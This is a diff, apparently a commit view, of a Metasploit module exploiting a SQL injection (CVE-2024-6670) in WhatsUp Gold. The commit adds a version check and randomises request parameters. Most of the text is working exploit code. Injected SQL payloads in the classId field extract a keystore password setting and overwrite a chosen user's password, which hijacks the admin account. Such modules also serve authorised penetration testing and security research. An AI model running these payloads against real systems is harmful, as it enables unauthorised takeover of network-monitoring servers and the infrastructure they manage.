|
1 | 1 | class MetasploitModule < Msf::Auxiliary
|
2 | 2 | include Msf::Exploit::Remote::HttpClient
|
3 |
| - # prepend Msf::Exploit::Remote::AutoCheck |
| 3 | + prepend Msf::Exploit::Remote::AutoCheck |
| 4 | + CheckCode = Exploit::CheckCode |
4 | 5 |
|
5 | 6 | def initialize(info = {})
|
6 | 7 | super(
|
7 | 8 | update_info(
|
8 | 9 | info,
|
9 | 10 | 'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
|
10 | 11 | 'Description' => %q{
|
11 |
| - This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of the admin user |
| 12 | + This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account) |
12 | 13 | to an attacker-controlled one.
|
13 | 14 |
|
14 |
| - WhatsUp Gold < v24.0 are affected. |
| 15 | + WhatsUp Gold versions < v24.0.0 are affected. |
15 | 16 | },
|
16 | 17 | 'Author' => [
|
17 | 18 | 'Michael Heinzl', # MSF Module
|
@@ -44,6 +45,28 @@ def initialize(info = {})
|
44 | 45 | ])
|
45 | 46 | end
|
46 | 47 |
|
| 48 | + def check |
| 49 | + res = send_request_cgi({ |
| 50 | + 'method' => 'GET', |
| 51 | + 'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json') |
| 52 | + }) |
| 53 | + |
| 54 | + return CheckCode::Unknown unless res && res.code == 200 |
| 55 | + |
| 56 | + data = res.body |
| 57 | + version = data.match(/"path":"app-(.*?)\.js"/)[1] |
| 58 | + |
| 59 | + if version.nil? |
| 60 | + return CheckCode::Unknown |
| 61 | + else |
| 62 | + vprint_status('Version retrieved: ' + version) |
| 63 | + end |
| 64 | + |
| 65 | + return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('23.1.3') |
| 66 | + |
| 67 | + Exploit::CheckCode::Safe |
| 68 | + end |
| 69 | + |
47 | 70 | def run
|
48 | 71 | body = {
|
49 | 72 | KeyStorePassword: datastore['NEW_PASSWORD'],
|
@@ -71,11 +94,11 @@ def run
|
71 | 94 | body = {
|
72 | 95 | deviceId: deviceid.to_s,
|
73 | 96 | classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
|
74 |
| - range: '1', |
75 |
| - n: '1', |
76 |
| - start: '3', |
77 |
| - end: '4', |
78 |
| - businesdsHoursId: '5' |
| 97 | + range: rand(1..9).to_s, |
| 98 | + n: rand(1..9).to_s, |
| 99 | + start: rand(1..9).to_s, |
| 100 | + end: rand(1..9).to_s, |
| 101 | + businesdsHoursId: rand(1..9).to_s |
79 | 102 | }.to_json
|
80 | 103 |
|
81 | 104 | res = send_request_cgi(
|
@@ -119,15 +142,16 @@ def run
|
119 | 142 | byte_v = display_name_f.split(',')
|
120 | 143 | hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
|
121 | 144 | enc_pass = '0x' + hex_v.join
|
| 145 | + vprint_status('Encrypted password: ' + enc_pass) |
122 | 146 |
|
123 | 147 | body = {
|
124 | 148 | deviceId: deviceid.to_s,
|
125 | 149 | classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
|
126 |
| - range: '1', |
127 |
| - n: '1', |
128 |
| - start: '3', |
129 |
| - end: '4', |
130 |
| - businesdsHoursId: '5' |
| 150 | + range: rand(1..9).to_s, |
| 151 | + n: rand(1..9).to_s, |
| 152 | + start: rand(1..9).to_s, |
| 153 | + end: rand(1..9).to_s, |
| 154 | + businesdsHoursId: rand(1..9).to_s |
131 | 155 | }.to_json
|
132 | 156 |
|
133 | 157 | res = send_request_cgi(
|
@@ -163,7 +187,7 @@ def run
|
163 | 187 | end
|
164 | 188 |
|
165 | 189 | store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
|
166 |
| - print_good("New #{datastore['USERNAME']} password was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}") |
| 190 | + print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}") |
167 | 191 | print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
|
168 | 192 | end
|
169 | 193 | end
|
0 commit comments